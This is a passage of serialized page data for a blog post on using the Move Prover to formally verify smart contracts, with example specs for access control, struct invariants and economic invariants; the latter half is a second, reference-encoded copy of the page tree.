level.",{"type":24,"tag":25,"props":15152,"children":15153},{},[15154,15156,15162,15164,15169],{"type":29,"value":15155},"For example, in ",{"type":24,"tag":32,"props":15157,"children":15159},{"className":15158},[],[15160],{"type":29,"value":15161},"std::offer",{"type":29,"value":15163}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":24,"tag":842,"props":15165,"children":15166},{},[15167],{"type":29,"value":15168},"or",{"type":29,"value":15170}," the recipient is now allowed.",{"type":24,"tag":80,"props":15172,"children":15174},{"code":15173,"language":84,"meta":7,"className":82,"style":7}," spec redeem {\n /// Aborts if there is no offer under `offer_address` or if the account\n /// cannot redeem the offer.\n /// Ensures that the offered struct under `offer_address` is removed.\n aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n ensures !exists\u003COffer\u003COffered>>(offer_address);\n ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n }\n",[15175],{"type":24,"tag":32,"props":15176,"children":15177},{"__ignoreMap":7},[15178,15195,15203,15211,15219,15265,15323,15366,15432],{"type":24,"tag":90,"props":15179,"children":15180},{"class":92,"line":93},[15181,15186,15191],{"type":24,"tag":90,"props":15182,"children":15183},{"style":136},[15184],{"type":29,"value":15185}," spec",{"type":24,"tag":90,"props":15187,"children":15188},{"style":136},[15189],{"type":29,"value":15190}," redeem",{"type":24,"tag":90,"props":15192,"children":15193},{"style":114},[15194],{"type":29,"value":269},{"type":24,"tag":90,"props":15196,"children":15197},{"class":92,"line":200},[15198],{"type":24,"tag":90,"props":15199,"children":15200},{"style":252},[15201],{"type":29,"value":15202}," /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":24,"tag":90,"props":15204,"children":15205},{"class":92,"line":239},[15206],{"type":24,"tag":90,"props":15207,"children":15208},{"style":252},[15209],{"type":29,"value":15210}," /// cannot redeem the offer.\n",{"type":24,"tag":90,"props":15212,"children":15213},{"class":92,"line":248},[15214],{"type":24,"tag":90,"props":15215,"children":15216},{"style":252},[15217],{"type":29,"value":15218}," /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":24,"tag":90,"props":15220,"children":15221},{"class":92,"line":258},[15222,15226,15230,15234,15238,15243,15247,15252,15256,15261],{"type":24,"tag":90,"props":15223,"children":15224},{"style":136},[15225],{"type":29,"value":11426},{"type":24,"tag":90,"props":15227,"children":15228},{"style":120},[15229],{"type":29,"value":2089},{"type":24,"tag":90,"props":15231,"children":15232},{"style":136},[15233],{"type":29,"value":9089},{"type":24,"tag":90,"props":15235,"children":15236},{"style":114},[15237],{"type":29,"value":1575},{"type":24,"tag":90,"props":15239,"children":15240},{"style":146},[15241],{"type":29,"value":15242},"Offer",{"type":24,"tag":90,"props":15244,"children":15245},{"style":114},[15246],{"type":29,"value":1575},{"type":24,"tag":90,"props":15248,"children":15249},{"style":146},[15250],{"type":29,"value":15251},"Offered",{"type":24,"tag":90,"props":15253,"children":15254},{"style":114},[15255],{"type":29,"value":9111},{"type":24,"tag":90,"props":15257,"children":15258},{"style":136},[15259],{"type":29,"value":15260},"offer_address",{"type":24,"tag":90,"props":15262,"children":15263},{"style":114},[15264],{"type":29,"value":571},{"type":24,"tag":90,"props":15266,"children":15267},{"class":92,"line":272},[15268,15272,15276,15281,15285,15289,15293,15297,15302,15306,15310,15314,15319],{"type":24,"tag":90,"props":15269,"children":15270},{"style":136},[15271],{"type":29,"value":11426},{"type":24,"tag":90,"props":15273,"children":15274},{"style":120},[15275],{"type":29,"value":2089},{"type":24,"tag":90,"props":15277,"children":15278},{"style":136},[15279],{"type":29,"value":15280},"is_allowed_recipient",{"type":24,"tag":90,"props":15282,"children":15283},{"style":114},[15284],{"type":29,"value":1575},{"type":24,"tag":90,"props":15286,"children":15287},{"style":146},[15288],{"type":29,"value":15251},{"type":24,"tag":90,"props":15290,"children":15291},{"style":114},[15292],{"type":29,"value":9992},{"type":24,"tag":90,"props":15294,"children":15295},{"style":136},[15296],{"type":29,"value":15260},{"type":24,"tag":90,"props":15298,"children":15299},{"style":114},[15300],{"type":29,"value":15301},", signer",{"type":24,"tag":90,"props":15303,"children":15304},{"style":120},[15305],{"type":29,"value":1211},{"type":24,"tag":90,"props":15307,"children":15308},{"style":108},[15309],{"type":29,"value":9591},{"type":24,"tag":90,"props":15311,"children":15312},{"style":114},[15313],{"type":29,"value":117},{"type":24,"tag":90,"props":15315,"children":15316},{"style":136},[15317],{"type":29,"value":15318},"account",{"type":24,"tag":90,"props":15320,"children":15321},{"style":114},[15322],{"type":29,"value":9605},{"type":24,"tag":90,"props":15324,"children":15325},{"class":92,"line":281},[15326,15330,15334,15338,15342,15346,15350,15354,15358,15362],{"type":24,"tag":90,"props":15327,"children":15328},{"style":136},[15329],{"type":29,"value":10564},{"type":24,"tag":90,"props":15331,"children":15332},{"style":120},[15333],{"type":29,"value":2089},{"type":24,"tag":90,"props":15335,"children":15336},{"style":136},[15337],{"type":29,"value":9089},{"type":24,"tag":90,"props":15339,"children":15340},{"style":114},[15341],{"type":29,"value":1575},{"type":24,"tag":90,"props":15343,"children":15344},{"style":146},[15345],{"type":29,"value":15242},{"type":24,"tag":90,"props":15347,"children":15348},{"style":114},[15349],{"type":29,"value":1575},{"type":24,"tag":90,"props":15351,"children":15352},{"style":146},[15353],{"type":29,"value":15251},{"type":24,"tag":90,"props":15355,"children":15356},{"style":114},[15357],{"type":29,"value":9111},{"type":24,"tag":90,"props":15359,"children":15360},{"style":136},[15361],{"type":29,"value":15260},{"type":24,"tag":90,"props":15363,"children":15364},{"style":114},[15365],{"type":29,"value":571},{"type":24,"tag":90,"props":15367,"children":15368},{"class":92,"line":384},[15369,15373,15377,15381,15386,15390,15395,15399,15403,15407,15411,15415,15419,15423,15427],{"type":24,"tag":90,"props":15370,"children":15371},{"style":136},[15372],{"type":29,"value":10564},{"type":24,"tag":90,"props":15374,"children":15375},{"style":136},[15376],{"type":29,"value":11534},{"type":24,"tag":90,"props":15378,"children":15379},{"style":120},[15380],{"type":29,"value":2102},{"type":24,"tag":90,"props":15382,"children":15383},{"style":108},[15384],{"type":29,"value":15385}," old",{"type":24,"tag":90,"props":15387,"children":15388},{"style":114},[15389],{"type":29,"value":117},{"type":24,"tag":90,"props":15391,"children":15392},{"style":136},[15393],{"type":29,"value":15394},"global",{"type":24,"tag":90,"props":15396,"children":15397},{"style":114},[15398],{"type":29,"value":1575},{"type":24,"tag":90,"props":15400,"children":15401},{"style":146},[15402],{"type":29,"value":15242},{"type":24,"tag":90,"props":15404,"children":15405},{"style":114},[15406],{"type":29,"value":1575},{"type":24,"tag":90,"props":15408,"children":15409},{"style":146},[15410],{"type":29,"value":15251},{"type":24,"tag":90,"props":15412,"children":15413},{"style":114},[15414],{"type":29,"value":9111},{"type":24,"tag":90,"props":15416,"children":15417},{"style":136},[15418],{"type":29,"value":15260},{"type":24,"tag":90,"props":15420,"children":15421},{"style":114},[15422],{"type":29,"value":517},{"type":24,"tag":90,"props":15424,"children":15425},{"style":120},[15426],{"type":29,"value":226},{"type":24,"tag":90,"props":15428,"children":15429},{"style":114},[15430],{"type":29,"value":15431},"offered);\n",{"type":24,"tag":90,"props":15433,"children":15434},{"class":92,"line":420},[15435],{"type":24,"tag":90,"props":15436,"children":15437},{"style":114},[15438],{"type":29,"value":612},{"type":24,"tag":25,"props":15440,"children":15441},{},[15442],{"type":29,"value":15443},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":24,"tag":1019,"props":15445,"children":15447},{"id":15446},"complex-mathematical-formulae",[15448],{"type":29,"value":15449},"Complex Mathematical Formulae",{"type":24,"tag":25,"props":15451,"children":15452},{},[15453,15455,15460],{"type":29,"value":15454},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":24,"tag":842,"props":15456,"children":15457},{},[15458],{"type":29,"value":15459},"always",{"type":29,"value":15461}," the output.",{"type":24,"tag":25,"props":15463,"children":15464},{},[15465],{"type":29,"value":15466},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your codebase.",{"type":24,"tag":25,"props":15468,"children":15469},{},[15470,15472,15479],{"type":29,"value":15471},"For example, in our work with ",{"type":24,"tag":69,"props":15473,"children":15476},{"href":15474,"rel":15475},"https://laminar.markets/",[73],[15477],{"type":29,"value":15478},"Laminar Markets",{"type":29,"value":15480},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":24,"tag":1019,"props":15482,"children":15484},{"id":15483},"data-invariants",[15485],{"type":29,"value":15486},"Data Invariants",{"type":24,"tag":25,"props":15488,"children":15489},{},[15490,15492,15498,15500,15506,15508,15514,15516,15522],{"type":29,"value":15491},"Formal verification provides the best environment to verify that certain ",{"type":24,"tag":32,"props":15493,"children":15495},{"className":15494},[],[15496],{"type":29,"value":15497},"variables",{"type":29,"value":15499}," or ",{"type":24,"tag":32,"props":15501,"children":15503},{"className":15502},[],[15504],{"type":29,"value":15505},"resources",{"type":29,"value":15507}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":24,"tag":32,"props":15509,"children":15511},{"className":15510},[],[15512],{"type":29,"value":15513},"index",{"type":29,"value":15515}," is never greater than 4 using a ",{"type":24,"tag":32,"props":15517,"children":15519},{"className":15518},[],[15520],{"type":29,"value":15521},"struct invariant",{"type":29,"value":226},{"type":24,"tag":80,"props":15524,"children":15526},{"code":15525,"language":84,"meta":7,"className":82,"style":7},"struct Type {\n index: u64\n}\n\nspec Type {\n invariant index \u003C 4;\n}\n",[15527],{"type":24,"tag":32,"props":15528,"children":15529},{"__ignoreMap":7},[15530,15546,15563,15570,15577,15592,15616],{"type":24,"tag":90,"props":15531,"children":15532},{"class":92,"line":93},[15533,15537,15542],{"type":24,"tag":90,"props":15534,"children":15535},{"style":97},[15536],{"type":29,"value":3050},{"type":24,"tag":90,"props":15538,"children":15539},{"style":146},[15540],{"type":29,"value":15541}," Type",{"type":24,"tag":90,"props":15543,"children":15544},{"style":114},[15545],{"type":29,"value":269},{"type":24,"tag":90,"props":15547,"children":15548},{"class":92,"line":200},[15549,15554,15558],{"type":24,"tag":90,"props":15550,"children":15551},{"style":136},[15552],{"type":29,"value":15553}," index",{"type":24,"tag":90,"props":15555,"children":15556},{"style":120},[15557],{"type":29,"value":78},{"type":24,"tag":90,"props":15559,"children":15560},{"style":146},[15561],{"type":29,"value":15562}," u64\n",{"type":24,"tag":90,"props":15564,"children":15565},{"class":92,"line":239},[15566],{"type":24,"tag":90,"props":15567,"children":15568},{"style":114},[15569],{"type":29,"value":827},{"type":24,"tag":90,"props":15571,"children":15572},{"class":92,"line":248},[15573],{"type":24,"tag":90,"props":15574,"children":15575},{"emptyLinePlaceholder":16},[15576],{"type":29,"value":245},{"type":24,"tag":90,"props":15578,"children":15579},{"class":92,"line":258},[15580,15584,15588],{"type":24,"tag":90,"props":15581,"children":15582},{"style":136},[15583],{"type":29,"value":10652},{"type":24,"tag":90,"props":15585,"children":15586},{"style":146},[15587],{"type":29,"value":15541},{"type":24,"tag":90,"props":15589,"children":15590},{"style":114},[15591],{"type":29,"value":269},{"type":24,"tag":90,"props":15593,"children":15594},{"class":92,"line":272},[15595,15599,15604,15608,15612],{"type":24,"tag":90,"props":15596,"children":15597},{"style":136},[15598],{"type":29,"value":10669},{"type":24,"tag":90,"props":15600,"children":15601},{"style":136},[15602],{"type":29,"value":15603}," index",{"type":24,"tag":90,"props":15605,"children":15606},{"style":120},[15607],{"type":29,"value":11095},{"type":24,"tag":90,"props":15609,"children":15610},{"style":349},[15611],{"type":29,"value":14114},{"type":24,"tag":90,"props":15613,"children":15614},{"style":114},[15615],{"type":29,"value":381},{"type":24,"tag":90,"props":15617,"children":15618},{"class":92,"line":281},[15619],{"type":24,"tag":90,"props":15620,"children":15621},{"style":114},[15622],{"type":29,"value":827},{"type":24,"tag":25,"props":15624,"children":15625},{},[15626,15628,15635,15636,15642],{"type":29,"value":15627},"We were able to verify more complex properties in our recent audits for ",{"type":24,"tag":69,"props":15629,"children":15632},{"href":15630,"rel":15631},"https://layerzero.network/",[73],[15633],{"type":29,"value":15634},"LayerZero",{"type":29,"value":13360},{"type":24,"tag":69,"props":15637,"children":15640},{"href":15638,"rel":15639},"http://ariesmarkets.xyz/",[73],[15641],{"type":29,"value":9174},{"type":29,"value":15643},", but the details are left as an exercise to the reader.",{"type":24,"tag":1019,"props":15645,"children":15647},{"id":15646},"economic-invariants",[15648],{"type":29,"value":15649},"Economic Invariants.",{"type":24,"tag":25,"props":15651,"children":15652},{},[15653],{"type":29,"value":15654},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":24,"tag":25,"props":15656,"children":15657},{},[15658],{"type":29,"value":15659},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":24,"tag":80,"props":15661,"children":15662},{"code":10345,"language":84,"meta":7,"className":82,"style":7},[15663],{"type":24,"tag":32,"props":15664,"children":15665},{"__ignoreMap":7},[15666,15673,15756,15795,15814,15821,15836,15859,15882,15905],{"type":24,"tag":90,"props":15667,"children":15668},{"class":92,"line":93},[15669],{"type":24,"tag":90,"props":15670,"children":15671},{"style":252},[15672],{"type":29,"value":10357},{"type":24,"tag":90,"props":15674,"children":15675},{"class":92,"line":200},[15676,15680,15684,15688,15692,15696,15700,15704,15708,15712,15716,15720,15724,15728,15732,15736,15740,15744,15748,15752],{"type":24,"tag":90,"props":15677,"children":15678},{"style":136},[15679],{"type":29,"value":8954},{"type":24,"tag":90,"props":15681,"children":15682},{"style":108},[15683],{"type":29,"value":10369},{"type":24,"tag":90,"props":15685,"children":15686},{"style":114},[15687],{"type":29,"value":117},{"type":24,"tag":90,"props":15689,"children":15690},{"style":136},[15691],{"type":29,"value":10378},{"type":24,"tag":90,"props":15693,"children":15694},{"style":120},[15695],{"type":29,"value":78},{"type":24,"tag":90,"props":15697,"children":15698},{"style":146},[15699],{"type":29,"value":376},{"type":24,"tag":90,"props":15701,"children":15702},{"style":114},[15703],{"type":29,"value":133},{"type":24,"tag":90,"props":15705,"children":15706},{"style":136},[15707],{"type":29,"value":10395},{"type":24,"tag":90,"props":15709,"children":15710},{"style":120},[15711],{"type":29,"value":78},{"type":24,"tag":90,"props":15713,"children":15714},{"style":146},[15715],{"type":29,"value":376},{"type":24,"tag":90,"props":15717,"children":15718},{"style":114},[15719],{"type":29,"value":517},{"type":24,"tag":90,"props":15721,"children":15722},{"style":120},[15723],{"type":29,"value":78},{"type":24,"tag":90,"props":15725,"children":15726},{"style":114},[15727],{"type":29,"value":1151},{"type":24,"tag":90,"props":15729,"children":15730},{"style":146},[15731],{"type":29,"value":1580},{"type":24,"tag":90,"props":15733,"children":15734},{"style":114},[15735],{"type":29,"value":133},{"type":24,"tag":90,"props":15737,"children":15738},{"style":146},[15739],{"type":29,"value":1580},{"type":24,"tag":90,"props":15741,"children":15742},{"style":114},[15743],{"type":29,"value":172},{"type":24,"tag":90,"props":15745,"children":15746},{"style":136},[15747],{"type":29,"value":8729},{"type":24,"tag":90,"props":15749,"children":15750},{"style":146},[15751],{"type":29,"value":10440},{"type":24,"tag":90,"props":15753,"children":15754},{"style":114},[15755],{"type":29,"value":269},{"type":24,"tag":90,"props":15757,"children":15758},{"class":92,"line":239},[15759,15763,15767,15771,15775,15779,15783,15787,15791],{"type":24,"tag":90,"props":15760,"children":15761},{"style":97},[15762],{"type":29,"value":10452},{"type":24,"tag":90,"props":15764,"children":15765},{"style":136},[15766],{"type":29,"value":10457},{"type":24,"tag":90,"props":15768,"children":15769},{"style":120},[15770],{"type":29,"value":216},{"type":24,"tag":90,"props":15772,"children":15773},{"style":108},[15774],{"type":29,"value":10466},{"type":24,"tag":90,"props":15776,"children":15777},{"style":114},[15778],{"type":29,"value":117},{"type":24,"tag":90,"props":15780,"children":15781},{"style":136},[15782],{"type":29,"value":10378},{"type":24,"tag":90,"props":15784,"children":15785},{"style":114},[15786],{"type":29,"value":133},{"type":24,"tag":90,"props":15788,"children":15789},{"style":136},[15790],{"type":29,"value":10395},{"type":24,"tag":90,"props":15792,"children":15793},{"style":114},[15794],{"type":29,"value":571},{"type":24,"tag":90,"props":15796,"children":15797},{"class":92,"line":248},[15798,15802,15806,15810],{"type":24,"tag":90,"props":15799,"children":15800},{"style":108},[15801],{"type":29,"value":10494},{"type":24,"tag":90,"props":15803,"children":15804},{"style":114},[15805],{"type":29,"value":117},{"type":24,"tag":90,"props":15807,"children":15808},{"style":136},[15809],{"type":29,"value":10503},{"type":24,"tag":90,"props":15811,"children":15812},{"style":114},[15813],{"type":29,"value":1686},{"type":24,"tag":90,"props":15815,"children":15816},{"class":92,"line":258},[15817],{"type":24,"tag":90,"props":15818,"children":15819},{"style":114},[15820],{"type":29,"value":8257},{"type":24,"tag":90,"props":15822,"children":15823},{"class":92,"line":272},[15824,15828,15832],{"type":24,"tag":90,"props":15825,"children":15826},{"style":136},[15827],{"type":29,"value":10522},{"type":24,"tag":90,"props":15829,"children":15830},{"style":136},[15831],{"type":29,"value":10369},{"type":24,"tag":90,"props":15833,"children":15834},{"style":114},[15835],{"type":29,"value":269},{"type":24,"tag":90,"props":15837,"children":15838},{"class":92,"line":281},[15839,15843,15847,15851,15855],{"type":24,"tag":90,"props":15840,"children":15841},{"style":136},[15842],{"type":29,"value":10538},{"type":24,"tag":90,"props":15844,"children":15845},{"style":136},[15846],{"type":29,"value":10543},{"type":24,"tag":90,"props":15848,"children":15849},{"style":120},[15850],{"type":29,"value":5491},{"type":24,"tag":90,"props":15852,"children":15853},{"style":97},[15854],{"type":29,"value":10552},{"type":24,"tag":90,"props":15856,"children":15857},{"style":114},[15858],{"type":29,"value":381},{"type":24,"tag":90,"props":15860,"children":15861},{"class":92,"line":384},[15862,15866,15870,15874,15878],{"type":24,"tag":90,"props":15863,"children":15864},{"style":136},[15865],{"type":29,"value":10564},{"type":24,"tag":90,"props":15867,"children":15868},{"style":136},[15869],{"type":29,"value":10569},{"type":24,"tag":90,"props":15871,"children":15872},{"style":120},[15873],{"type":29,"value":10574},{"type":24,"tag":90,"props":15875,"children":15876},{"style":136},[15877],{"type":29,"value":10579},{"type":24,"tag":90,"props":15879,"children":15880},{"style":114},[15881],{"type":29,"value":381},{"type":24,"tag":90,"props":15883,"children":15884},{"class":92,"line":420},[15885,15889,15893,15897,15901],{"type":24,"tag":90,"props":15886,"children":15887},{"style":136},[15888],{"type":29,"value":10564},{"type":24,"tag":90,"props":15890,"children":15891},{"style":136},[15892],{"type":29,"value":10595},{"type":24,"tag":90,"props":15894,"children":15895},{"style":120},[15896],{"type":29,"value":10574},{"type":24,"tag":90,"props":15898,"children":15899},{"style":136},[15900],{"type":29,"value":10604},{"type":24,"tag":90,"props":15902,"children":15903},{"style":114},[15904],{"type":29,"value":381},{"type":24,"tag":90,"props":15906,"children":15907},{"class":92,"line":428},[15908],{"type":24,"tag":90,"props":15909,"children":15910},{"style":114},[15911],{"type":29,"value":8257},{"type":24,"tag":25,"props":15913,"children":15914},{},[15915],{"type":29,"value":15916},"Some other ideas include",{"type":24,"tag":3100,"props":15918,"children":15919},{},[15920,15925,15930],{"type":24,"tag":3104,"props":15921,"children":15922},{},[15923],{"type":29,"value":15924},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":24,"tag":3104,"props":15926,"children":15927},{},[15928],{"type":29,"value":15929},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":24,"tag":3104,"props":15931,"children":15932},{},[15933],{"type":29,"value":15934},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":24,"tag":850,"props":15936,"children":15937},{"id":7696},[15938],{"type":29,"value":7699},{"type":24,"tag":25,"props":15940,"children":15941},{},[15942],{"type":29,"value":15943},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":24,"tag":25,"props":15945,"children":15946},{},[15947],{"type":29,"value":15948},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":24,"tag":25,"props":15950,"children":15951},{},[15952,15954,15959],{"type":29,"value":15953},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":24,"tag":69,"props":15955,"children":15957},{"href":11616,"rel":15956},[73],[15958],{"type":29,"value":11620},{"type":29,"value":226},{"type":24,"tag":5249,"props":15961,"children":15962},{},[15963],{"type":29,"value":5253},{"title":7,"searchDepth":200,"depth":200,"links":15965},[15966,15967,15970,15977],{"id":11679,"depth":200,"text":11682},{"id":11733,"depth":200,"text":11736,"children":15968},[15969],{"id":11981,"depth":239,"text":11977},{"id":14875,"depth":200,"text":14878,"children":15971},[15972,15973,15974,15975,15976],{"id":14891,"depth":239,"text":14894},{"id":15142,"depth":239,"text":15145},{"id":15446,"depth":239,"text":15449},{"id":15483,"depth":239,"text":15486},{"id":15646,"depth":239,"text":15649},{"id":7696,"depth":200,"text":7699},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"author":10,"image":15982,"date":15,"isFeatured":16,"onBlogPage":16,"tags":15983,"body":15984,"_type":5270,"_id":5271,"_source":5272,"_file":5273,"_stem":5274,"_extension":5275},{"src":12,"height":13,"width":14},[18,19],{"type":21,"children":15985,"toc":20525},[15986,16008,16024,16653,16668,16677,16687,16818,16827,16831,16852,17165,17199,17508,17557,17567,17635,17689,17705,17715,17725,18051,18060,18064,18195,18238,18258,18268,18439,18543,18575,18602,18659,18663,18695,18737,18746,18861,18870,18874,18878,18906,18916,19029,19043,19064,19068,19138,19211,19215,19219,19256,19510,19568,19577,19599,19927,19937,19995,20261,20291,20521],{"type":24,"tag":25,"props":15987,"children":15988},{},[15989,15990,15995,15996,16001,16002,16007],{"type":29,"value":30},{"type":24,"tag":32,"props":15991,"children":15993},{"className":15992},[],[15994],{"type":29,"value":37},{"type":29,"value":39},{"type":24,"tag":32,"props":15997,"children":15999},{"className":15998},[],[16000],{"type":29,"value":37},{"type":29,"value":46},{"type":24,"tag":32,"props":16003,"children":16005},{"className":16004},[],[16006],{"type":29,"value":52},{"type":29,"value":54},{"type":24,"tag":25,"props":16009,"children":16010},{},[16011,16012,16017,16018,16023],{"type":29,"value":59},{"type":24,"tag":32,"props":16013,"children":16015},{"className":16014},[],[16016],{"type":29,"value":65},{"type":29,"value":67},{"type":24,"tag":69,"props":16019,"children":16021},{"href":71,"rel":16020},[73],[16022],{"type":29,"value":76},{"type":29,"value":78},{"type":24,"tag":80,"props":16025,"children":16026},{"className":82,"code":83,"language":84,"meta":7,"style":7},[16027],{"type":24,"tag":32,"props":16028,"children":16029},{"__ignoreMap":7},[16030,16113,16144,16151,16158,16169,16176,16263,16294,16301,16308,16435,16466,16473,16480,16487,16518,16529,16576,16587,16614,16621,16628,16635,16646],{"type":24,"tag":90,"props":16031,"children":16032},{"class":92,"line":93},[16033,16037,16041,16045,16049,16053,16057,16061,16065,16069,16073,16077,16081,16085,16089,16093,16097,16101,16105,16109],{"type":24,"tag":90,"props":16034,"children":16035},{"style":97},[16036],{"type":29,"value":100},{"type":24,"tag":90,"props":16038,"children":16039},{"style":97},[16040],{"type":29,"value":105},{"type":24,"tag":90,"props":16042,"children":16043},{"style":108},[16044],{"type":29,"value":111},{"type":24,"tag":90,"props":16046,"children":16047},{"style":114},[16048],{"type":29,"value":117},{"type":24,"tag":90,"props":16050,"children":16051},{"style":120},[16052],{"type":29,"value":123},{"type":24,"tag":90,"props":16054,"children":16055},{"style":97},[16056],{"type":29,"value":128},{"type":24,"tag":90,"props":16058,"children":16059},{"style":114},[16060],{"type":29,"value":133},{"type":24,"tag":90,"props":16062,"children":16063},{"style":136},[16064],{"type":29,"value":139},{"type":24,"tag":90,"props":16066,"children":16067},{"style":120},[16068],{"type":29,"value":78},{"type":24,"tag":90,"props":16070,"children":16071},{"style":146},[16072],{"type":29,"value":149},{"type":24,"tag":90,"props":16074,"children":16075},{"style":114},[16076],{"type":29,"value":133},{"type":24,"tag":90,"props":16078,"children":16079},{"style":136},[16080],{"type":29,"value":158},{"type":24,"tag":90,"props":16082,"children":16083},{"style":120},[16084],{"type":29,"value":78},{"type":24,"tag":90,"props":16086,"children":16087},{"style":146},[16088],{"type":29,"value":167},{"type":24,"tag":90,"props":16090,"children":16091},{"style":114},[16092],{"type":29,"value":172},{"type":24,"tag":90,"props":16094,"children":16095},{"style":120},[16096],{"type":29,"value":177},{"type":24,"tag":90,"props":16098,"children":16099},{"style":146},[16100],{"type":29,"value":182},{"type":24,"tag":90,"props":16102,"children":16103},{"style":114},[16104],{"type":29,"value":187},{"type":24,"tag":90,"props":16106,"children":16107},{"style":146},[16108],{"type":29,"value":192},{"type":24,"tag":90,"props":16110,"children":16111},{"style":114},[16112],{"type":29,"value":197},{"type":24,"tag":90,"props":16114,"children":16115},{"class":92,"line":200},[16116,16120,16124,16128,16132,16136,16140],{"type":24,"tag":90,"props":16117,"children":16118},{"style":97},[16119],{"type":29,"value":206},{"type":24,"tag":90,"props":16121,"children":16122},{"style":136},[16123],{"type":29,"value":211},{"type":24,"tag":90,"props":16125,"children":16126},{"style":120},[16127],{"type":29,"value":216},{"type":24,"tag":90,"props":16129,"children":16130},{"style":97},[16131],{"type":29,"value":221},{"type":24,"tag":90,"props":16133,"children":16134},{"style":120},[16135],{"type":29,"value":226},{"type":24,"tag":90,"props":16137,"children":16138},{"style":108},[16139],{"type":29,"value":231},{"type":24,"tag":90,"props":16141,"children":16142},{"style":114},[16143],{"type":29,"value":236},{"type":24,"tag":90,"props":16145,"children":16146},{"class":92,"line":239},[16147],{"type":24,"tag":90,"props":16148,"children":16149},{"emptyLinePlaceholder":16},[16150],{"type":29,"value":245},{"type":24,"tag":90,"props":16152,"children":16153},{"class":92,"line":248},[16154],{"type":24,"tag":90,"props":16155,"children":16156},{"style":252},[16157],{"type":29,"value":255},{"type":24,"tag":90,"props":16159,"children":16160},{"class":92,"line":258},[16161,16165],{"type":24,"tag":90,"props":16162,"children":16163},{"style":97},[16164],{"type":29,"value":264},{"type":24,"tag":90,"props":16166,"children":16167},{"style":114},[16168],{"type":29,"value":269},{"type":24,"tag":90,"props":16170,"children":16171},{"class":92,"line":272},[16172],{"type":24,"tag":90,"props":16173,"children":16174},{"style":252},[16175],{"type":29,"value":278},{"type":24,"tag":90,"props":16177,"children":16178},{"class":92,"line":281},[16179,16183,16187,16191,16195,16199,16203,16207,16211,16215,16219,16223,16227,16231,16235,16239,16243,16247,16251,16255,16259],{"type":24,"tag":90,"props":16180,"children":16181},{"style":97},[16182],{"type":29,"value":287},{"type":24,"tag":90,"props":16184,"children":16185},{"style":136},[16186],{"type":29,"value":292},{"type":24,"tag":90,"props":16188,"children":16189},{"style":120},[16190],{"type":29,"value":216},{"type":24,"tag":90,"props":16192,"children":16193},{"style":97},[16194],{"type":29,"value":221},{"type":24,"tag":90,"props":16196,"children":16197},{"style":120},[16198],{"type":29,"value":226},{"type":24,"tag":90,"props":16200,"children":16201},{"style":108},[16202],{"type":29,"value":309},{"type":24,"tag":90,"props":16204,"children":16205},{"style":114},[16206],{"type":29,"value":314},{"type":24,"tag":90,"props":16208,"children":16209},{"style":120},[16210],{"type":29,"value":319},{"type":24,"tag":90,"props":16212,"children":16213},{"style":108},[16214],{"type":29,"value":324},{"type":24,"tag":90,"props":16216,"children":16217},{"style":114},[16218],{"type":29,"value":314},{"type":24,"tag":90,"props":16220,"children":16221},{"style":120},[16222],{"type":29,"value":226},{"type":24,"tag":90,"props":16224,"children":16225},{"style":108},[16226],{"type":29,"value":337},{"type":24,"tag":90,"props":16228,"children":16229},{"style":114},[16230],{"type":29,"value":117},{"type":24,"tag":90,"props":16232,"children":16233},{"style":120},[16234],{"type":29,"value":346},{"type":24,"tag":90,"props":16236,"children":16237},{"style":349},[16238],{"type":29,"value":352},{"type":24,"tag":90,"props":16240,"children":16241},{"style":114},[16242],{"type":29,"value":172},{"type":24,"tag":90,"props":16244,"children":16245},{"style":97},[16246],{"type":29,"value":361},{"type":24,"tag":90,"props":16248,"children":16249},{"style":120},[16250],{"type":29,"value":366},{"type":24,"tag":90,"props":16252,"children":16253},{"style":97},[16254],{"type":29,"value":371},{"type":24,"tag":90,"props":16256,"children":16257},{"style":146},[16258],{"type":29,"value":376},{"type":24,"tag":90,"props":16260,"children":16261},{"style":114},[16262],{"type":29,"value":381},{"type":24,"tag":90,"props":16264,"children":16265},{"class":92,"line":384},[16266,16270,16274,16278,16282,16286,16290],{"type":24,"tag":90,"props":16267,"children":16268},{"style":120},[16269],{"type":29,"value":390},{"type":24,"tag":90,"props":16271,"children":16272},{"style":136},[16273],{"type":29,"value":395},{"type":24,"tag":90,"props":16275,"children":16276},{"style":120},[16277],{"type":29,"value":216},{"type":24,"tag":90,"props":16279,"children":16280},{"style":136},[16281],{"type":29,"value":404},{"type":24,"tag":90,"props":16283,"children":16284},{"style":97},[16285],{"type":29,"value":409},{"type":24,"tag":90,"props":16287,"children":16288},{"style":146},[16289],{"type":29,"value":376},{"type":24,"tag":90,"props":16291,"children":16292},{"style":114},[16293],{"type":29,"value":381},{"type":24,"tag":90,"props":16295,"children":16296},{"class":92,"line":420},[16297],{"type":24,"tag":90,"props":16298,"children":16299},{"emptyLinePlaceholder":16},[16300],{"type":29,"value":245},{"type":24,"tag":90,"props":16302,"children":16303},{"class":92,"line":428},[16304],{"type":24,"tag":90,"props":16305,"children":16306},{"style":252},[16307],{"type":29,"value":434},{"type":24,"tag":90,"props":16309,"children":16310},{"class":92,"line":437},[16311,16315,